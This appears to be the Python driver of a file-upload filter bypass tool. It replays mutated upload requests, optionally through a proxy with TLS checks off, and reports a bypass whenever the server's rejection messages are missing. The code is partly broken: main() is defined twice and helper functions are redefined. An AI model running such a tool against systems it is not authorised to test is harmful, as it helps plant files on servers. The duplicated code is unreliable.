import argparse
import sys
import requests
import json
import os
from core.mutators.request_mutator import RequestMutator
from core.mutators.combo_mutator import ComboMutator
from core.utils.path_resolver import (
    resolve_path,
    resolve_config_path,
    resolve_sample_path
)
def resolve_config_path(filename):
    if getattr(sys, 'frozen', False):
        # 如果是打包后的程序，使用sys._MEIPASS
        return os.path.join(sys._MEIPASS, 'conf', filename)
    else:
        # 如果是开发环境，使用相对路径
        return os.path.join(os.path.dirname(__file__), 'conf', filename)

def resolve_sample_path(filename):
    if getattr(sys, 'frozen', False):
        # 如果是打包后的程序，使用sys._MEIPASS
        return os.path.join(sys._MEIPASS, 'samples', filename)
    else:
        # 如果是开发环境，使用相对路径
        return os.path.join(os.path.dirname(__file__), 'samples', filename)
def main():
    args = parse_args()
    config = {
        'proxy': {'http': args.proxy, 'https': args.proxy} if args.proxy else {},
        'charset': 'gbk',
        'brute_mode': False
    }
    print("[DEBUG] 当前工作目录:", os.getcwd())
    print("[DEBUG] 配置文件路径:", resolve_config_path('mutate_rules.yaml'))
    print("[DEBUG] 配置文件内容存在:", os.path.isfile(resolve_config_path('mutate_rules.yaml')))
    
    try:
        mutator = RequestMutator(resolve_sample_path('original_request.txt'), resolve_config_path('mutate_rules.yaml'))
        combo = ComboMutator(mutator, config)
        
        # 初始测试
        for mutated_request in combo.generate_mutations():
            response = send_request(mutated_request, config)
            if check_bypass(response):
                print(f"[+] 初始测试Bypass成功! Payload: {mutated_request['description']}")
                print(f"响应内容: {response.text[:200]}...")
                return
        
        # 进入组合模式
        start_combo_mode(combo, config)
            
    except Exception as e:
        print(f"[-] 致命错误: {str(e)}")
    finally:
        if combo:  # 安全保存进度
            combo.save_progress()
# progress_path = os.path.join(os.path.dirname(__file__), 'test_progress.json')

def parse_args():
    parser = argparse.ArgumentParser(
        description="****文件上传统过测试工具*****\nBy:jjjxusbx",
        formatter_class=argparse.RawTextHelpFormatter
    )
    parser.add_argument(
        '--proxy', 
        help='代理地址(支持 http/socks5)\n示例: http://127.0.0.1:8080 或 socks5://127.0.0.1:1080',
        default=None
    )
    return parser.parse_args()

def load_progress():
    try:
        with open('test_progress.json', 'r') as f:
            return json.load(f)
    except (FileNotFoundError, json.JSONDecodeError):
        return None  # 处理文件损坏情况

def send_request(request, config):
    session = requests.Session()
    if config['proxy']:
        session.proxies.update(config['proxy'])
    
    headers = request['headers'].copy()
    headers['Content-Type'] += f"; charset={config['charset']}"
    
    return session.request(
        method=request['method'],
        url=request['url'],
        headers=headers,
        data=request['body'],
        verify=False
    )

def check_bypass(response):
    failure_patterns = [
        "此文件不允许上传!",
        "dangerous file",
        "文件类型不合法",
        "400 Bad Request",
        "不允许上传",
        "上传出错"
    ]
    return not any(pattern in response.text for pattern in failure_patterns)

def run_mini_mode(combo, config):
    print("[+] 运行mini模式...")
    for mutated_request in combo.generate_mutations():
        response = send_request(mutated_request, config)
        if check_bypass(response):
            print(f"[+] Bypass成功! Payload: {mutated_request['description']}")
            return

def run_brute_mode(combo, config):
    print("[+] 运行brute模式...")
    combo.config['brute_mode'] = True
    for mutated_request in combo.generate_advanced_mutations():
        response = send_request(mutated_request, config)
        if check_bypass(response):
            print(f"[+] 高级Bypass成功! Payload: {mutated_request['description']}")
            return

def start_combo_mode(combo, config):
    if input("[?] 进入组合测试模式? (y/n): ").lower() != 'y':
        return
    
    progress = load_progress()
    if progress and input("[?] 发现未完成测试进度，是否恢复? (y/n): ").lower() == 'y':
        combo.resume_from(progress)
    
    while True:
        mode = input("选择模式 [mini/brute/q退出]: ").lower()
        if mode == 'q':
            break
        if mode == 'mini':
            run_mini_mode(combo, config)
        elif mode == 'brute':
            run_brute_mode(combo, config)
        combo.save_progress()

def main():
    args = parse_args()
    config = {
        'proxy': {'http': args.proxy, 'https': args.proxy} if args.proxy else {},
        'charset': 'gbk',
        'brute_mode': False
    }
    combo = None  # 初始化变量
    
    try:
        mutator = RequestMutator('original_request.txt', 'mutate_rules.yaml')
        combo = ComboMutator(mutator, config)
        
        # 初始测试
        for mutated_request in combo.generate_mutations():
            response = send_request(mutated_request, config)
            if check_bypass(response):
                print(f"[+] 初始测试Bypass成功! Payload: {mutated_request['description']}")
                print(f"响应内容: {response.text[:200]}...")
                return
        
        # 进入组合模式
        start_combo_mode(combo, config)
            
    except Exception as e:
        print(f"[-] 致命错误: {str(e)}")
    finally:
        if combo:  # 安全保存进度
            combo.save_progress()